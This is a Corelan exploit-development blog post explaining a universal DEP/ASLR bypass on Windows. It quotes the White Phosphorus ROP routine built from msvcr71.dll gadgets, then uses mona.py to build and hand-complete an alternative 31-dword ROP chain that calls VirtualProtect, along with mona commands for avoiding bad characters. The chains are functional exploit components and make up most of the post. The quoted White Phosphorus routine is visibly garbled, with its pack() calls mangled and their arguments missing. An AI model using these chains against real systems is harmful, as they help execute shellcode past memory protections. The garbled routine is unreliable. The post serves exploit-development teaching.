Please consider donating: https://www.corelan.be/index.php/donate/


35,996 views

Universal DEP/ASLR bypass with msvcr71.dll and mona.py

Introduction

Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine  using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty.

For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone.

Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines.

The White Phosphorus version

Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll.  That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine.

If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way.

Immunity Inc published the bypass technique on their website.  The routine looks like this :

def wp_sayonaraASLRDEPBypass(size=1000):
    # White Phosphorus
    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
    #
    # This technique uses msvcr71.dll which has shipped unchanged
    # in the Java Runtime Environment since v1.6.0.0 released
    # December 2006.
    #
    # mail: support@whitephosphorus org
    # sales: http://www.immunityinc.com/products-whitephosphorus.shtml

    print "WP> Building Sayonara - Universal ASLR and DEP bypass"

    size += 4  # bytes to shellcode after pushad esp ptr

    depBypass = pack('pack('pack('xor chain; call eax {0x7C3410C2}
    depBypass += pack('pack('pack('pack('pack('pack('pack("", -size)      # {size}
    depBypass += pack('neg eax;ret; {adjust size}
    depBypass += pack('add ebx, eax;ret; {size into ebx}
    depBypass += pack('pack('pack('neg edx;ret; {adjust flag}
    depBypass += pack('pack('pack('pack('pack('sub eax,30;ret;
    depBypass += pack('add al,0xef; ret;
    depBypass += pack('push esp;ret;

    print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
    return depBypass

(22 dwords)

Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.

The alternative version (mona.py)

I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain. 

Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing.

This is the result :

Command used :

!mona rop -m msvcr71.dll -n

17 seconds later, I got this :

rop_gadgets = 
	[
		0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)
		0x7c37a140,	# <- *&VirtualProtect() 
		0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
		0x????????,	# ** <- find routine to move virtualprotect() into esi
		           	# ** Hint : look for mov [esp+offset],eax and pop esi
		0x7c376402,	# POP EBP # RETN (msvcr71.dll)
		0x7c345c30,	# ptr to 'push esp #  ret ' (from msvcr71.dll)
		0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)
		0xfffffdff,	# value to negate, target value : 0x00000201, target: ebx
		0x7c351e05,	# NEG EAX # RETN (msvcr71.dll)
		0x7c354901,	# POP EBX # RETN (msvcr71.dll)
		0xffffffff,	# pop value into ebx
		0x7c345255,	# INC EBX # FPATAN # RETN (msvcr71.dll)
		0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
		0x7c34d201,	# POP ECX # RETN (msvcr71.dll)
		0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)
		0x7c34b8d7,	# POP EDI # RETN (msvcr71.dll)
		0x7c34b8d8,	# ROP NOP (-> edi)
		0x7c344f87,	# POP EDX # RETN (msvcr71.dll)
		0xffffffc0,	# value to negate, target value : 0x00000040, target: edx
		0x7c351eb1,	# NEG EDX # RETN (msvcr71.dll)
		0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)
		0x90909090,	# NOPS (-> eax)
		0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
	# rop chain generated by mona.py
	# note : this chain may not work out of the box
	# you may have to change order or fix some gadgets,
	# but it should give you a head start
	].pack("V*")

Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll. 

It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available.

The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi.

mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative.

But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on.

In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi).

After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this :

0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN   

0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN  

That should work. 

Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location.

Note that the first gadget requires EAX to contain a valid pointer to a readable location.  So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first.

Putting all of this together, the chain looks like this :

rop_gadgets = 
[
	0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)
	0x7c37a140,	# Make EAX readable			
	0x7c37591f,	# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
	0x41414141,	# EBP (filler)
	0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)
	0x7c37a140,	# <- *&VirtualProtect() 
	0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
	0x7c346c0b,	# Slide, so next gadget would write to correct stack location
	0x7c376069,	# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
	0x41414141,	# EDI (filler)
       	0x41414141,	# will be patched at runtime (VP), then picked up into ESI
       	0x41414141,	# EBX (filler)
	0x7c376402,	# POP EBP # RETN (msvcr71.dll)
	0x7c345c30,	# ptr to 'push esp #  ret ' (from MSVCR71.dll)
	0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)
	0xfffffdff,	# size 0x00000201 -> ebx, modify if needed
	0x7c351e05,	# NEG EAX # RETN (MSVCR71.dll)
	0x7c354901,	# POP EBX # RETN (MSVCR71.dll)
	0xffffffff,	# pop value into ebx
	0x7c345255,	# INC EBX # FPATAN # RETN (MSVCR71.dll)
	0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
	0x7c34d201,	# POP ECX # RETN (MSVCR71.dll)
	0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)
	0x7c34b8d7,	# POP EDI # RETN (MSVCR71.dll)
	0x7c34b8d8,	# ROP NOP (-> edi)
	0x7c344f87,	# POP EDX # RETN (MSVCR71.dll)
	0xffffffc0,	# value to negate, target value : 0x00000040, target: edx
	0x7c351eb1,	# NEG EDX # RETN (MSVCR71.dll)
	0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)
	0x90909090,	# NOPS (-> eax)
	0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
	# rop chain generated with mona.py
].pack("V*")

31 dwords…  9 dwords larger than the commercial one from White Phosphorus…  but it proves my point.   It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR.

Oh, by the way, in case you didn’t know…  if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run

!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'

and get other pointers… yes, it’s that simple. 

 

Conclusion

no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results.

 


© 2011 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

5 Responses to Universal DEP/ASLR bypass with msvcr71.dll and mona.py

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories